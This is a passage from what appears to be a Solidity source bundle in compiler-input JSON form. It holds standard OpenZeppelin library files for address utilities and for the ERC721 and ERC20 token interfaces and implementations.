(bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721Metadata is IERC721 {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/ERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/ERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721.sol\";\nimport \"./IERC721Receiver.sol\";\nimport \"./extensions/IERC721Metadata.sol\";\nimport \"../../utils/Address.sol\";\nimport \"../../utils/Context.sol\";\nimport \"../../utils/Strings.sol\";\nimport \"../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\n * {ERC721Enumerable}.\n */\ncontract ERC721 is Context, ERC165, IERC721, IERC721Metadata {\n using Address for address;\n using Strings for uint256;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to owner address\n mapping(uint256 => address) private _owners;\n\n // Mapping owner address to token count\n mapping(address => uint256) private _balances;\n\n // Mapping from token ID to approved address\n mapping(uint256 => address) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n /**\n * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721-balanceOf}.\n */\n function balanceOf(address owner) public view virtual override returns (uint256) {\n require(owner != address(0), \"ERC721: address zero is not a valid owner\");\n return _balances[owner];\n }\n\n /**\n * @dev See {IERC721-ownerOf}.\n */\n function ownerOf(uint256 tokenId) public view virtual override returns (address) {\n address owner = _owners[tokenId];\n require(owner != address(0), \"ERC721: invalid token ID\");\n return owner;\n }\n\n /**\n * @dev See {IERC721Metadata-name}.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev See {IERC721Metadata-symbol}.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev See {IERC721Metadata-tokenURI}.\n */\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory baseURI = _baseURI();\n return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : \"\";\n }\n\n /**\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, can be overridden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n /**\n * @dev See {IERC721-approve}.\n */\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721.ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not token owner nor approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n /**\n * @dev See {IERC721-getApproved}.\n */\n function getApproved(uint256 tokenId) public view virtual override returns (address) {\n _requireMinted(tokenId);\n\n return _tokenApprovals[tokenId];\n }\n\n /**\n * @dev See {IERC721-setApprovalForAll}.\n */\n function setApprovalForAll(address operator, bool approved) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n /**\n * @dev See {IERC721-isApprovedForAll}.\n */\n function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev See {IERC721-transferFrom}.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n\n _transfer(from, to, tokenId);\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public virtual override {\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n _safeTransfer(from, to, tokenId, data);\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * `data` is additional data, it has no specified format and it is sent in call to `to`.\n *\n * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.\n * implement alternative mechanisms to perform token transfer, such as signature-based.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _transfer(from, to, tokenId);\n require(_checkOnERC721Received(from, to, tokenId, data), \"ERC721: transfer to non ERC721Receiver implementer\");\n }\n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted (`_mint`),\n * and stop existing when they are burned (`_burn`).\n */\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _owners[tokenId] != address(0);\n }\n\n /**\n * @dev Returns whether `spender` is allowed to manage `tokenId`.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {\n address owner = ERC721.ownerOf(tokenId);\n return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender);\n }\n\n /**\n * @dev Safely mints `tokenId` and transfers it to `to`.\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n /**\n * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\n * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\n */\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _mint(to, tokenId);\n require(\n _checkOnERC721Received(address(0), to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n /**\n * @dev Mints `tokenId` and transfers it to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - `to` cannot be the zero address.\n *\n * Emits a {Transfer} event.\n */\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId);\n\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n\n _afterTokenTransfer(address(0), to, tokenId);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId);\n\n // Clear approvals\n _approve(address(0), tokenId);\n\n _balances[owner] -= 1;\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n\n _afterTokenTransfer(owner, address(0), tokenId);\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n *\n * Emits a {Transfer} event.\n */\n function _transfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n require(ERC721.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId);\n\n // Clear approvals from the previous owner\n _approve(address(0), tokenId);\n\n _balances[from] -= 1;\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfer(from, to, tokenId);\n }\n\n /**\n * @dev Approve `to` to operate on `tokenId`\n *\n * Emits an {Approval} event.\n */\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(ERC721.ownerOf(tokenId), to, tokenId);\n }\n\n /**\n * @dev Approve `operator` to operate on all of `owner` tokens\n *\n * Emits an {ApprovalForAll} event.\n */\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n /**\n * @dev Reverts if the `tokenId` has not been minted yet.\n */\n function _requireMinted(uint256 tokenId) internal view virtual {\n require(_exists(tokenId), \"ERC721: invalid token ID\");\n }\n\n /**\n * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.\n * The call is not executed if the target address is not a contract.\n *\n * @param from address representing the previous owner of the given token ID\n * @param to target address that will receive the tokens\n * @param tokenId uint256 ID of the token to be transferred\n * @param data bytes optional data to send along with the call\n * @return bool whether the call correctly returned the expected magic value\n */\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) private returns (bool) {\n if (to.isContract()) {\n try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {\n return retval == IERC721Receiver.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\"ERC721: transfer to non ERC721Receiver implementer\");\n } else {\n /// @solidity memory-safe-assembly\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n /**\n * @dev Hook that is called before any token transfer. This includes minting\n * and burning.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, ``from``'s `tokenId` will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/ERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20.sol\";\nimport \"./extensions/IERC20Metadata.sol\";\nimport \"../../utils/Context.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * The default value of {decimals} is 18. To select a different value for\n * {decimals} you should overload it.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\n * overridden;\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address to, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `amount`.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n /**\n * @dev Moves `amount` of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n */\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and 